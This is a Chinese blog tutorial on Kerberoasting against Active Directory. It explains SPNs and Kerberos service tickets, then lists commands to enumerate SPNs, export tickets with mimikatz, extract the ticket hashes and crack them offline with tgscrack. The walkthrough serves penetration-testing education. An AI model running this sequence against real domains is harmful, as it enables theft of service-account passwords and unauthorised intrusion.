• 【域渗透】Kerberoasting攻击


     一、SPN介绍:

    服务主体名称(SPN: Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。

    如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

    注册在域内机器账户(Computers)上
    注册在域内用户账户(Users)下

    二、SPN 标准格式

    在 SPN 语法中存在 4 种元素,两个必须元素和两个格外元素。其中 <service class> 和 <host> 为必需元素。

    <service class>/<host>:<port> <servername>
    服务类型/对应机器名:服务端口[默认端口可不写]
    MSSQLSvc/SQLServer.baidu.com:1433

    三、使用 SetSPN 为机器(域用户)创建 SPN

     Setspn -S http/<computername>.<domainname> <domain-user-account>

    -S 参数:验证不存在重复项后,添加随意 SPN。注意: -S 从 Windows Server 2008 开始系统默认提供。

    查看test域内所有的SPN

    setspn.exe -T test -q */*

    四、原理说明

    在 SPN 扫描时我们可以直接通过脚本,或者命令去获悉内网已经注册的 SPN 内容,LDAP 协议全称是 Lightweight Directory Access Protocol,一般翻译都是翻译成 轻量目录访问协议。通俗点可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。
    在域控中默认安装有 ADSI 编辑器,它是 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开。
    我们的 SPN 查询,实际上就是就是查询 LDAP 中存储的内容。

    一、介绍Kerberoasting 

    当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令
    二、利用Kerberoasting

    请求所有SPN:cscript GetUserSPNs.vbs

    利用mimikaz导出所有票据:mimikatz.exe "standard::base64" "kerberos::list /export"

    在TGS_REP消息中提取加密的服务票证部分:python extractServiceTicketParts.py 1-40a00000-yiwang@MSSQLSvc~yiwang.com~1433-YIWANG.COM.kirbi > hash.txt

    破解:tgscrack.exe -hashfile hash1.txt -wordlist top1w.txt

    参考链接:

    https://github.com/leechristensen/tgscrack

    https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/

  • 相关阅读:
    RESTful API 介绍,设计
    golang web框架设计7:整合框架
    golang web框架设计6:上下文设计
    golang web框架设计5:配置设计
    golang web框架设计4:日志设计
    golang web框架设计3:controller设计
    golang web框架设计2:自定义路由
    golang web框架设计1:框架规划
    深入理解golang: channels
    服务端高并发分布式十四次架构演进之路
  • 原文地址:https://www.cnblogs.com/websecyw/p/12159795.html
Copyright © 2020-2023  润新知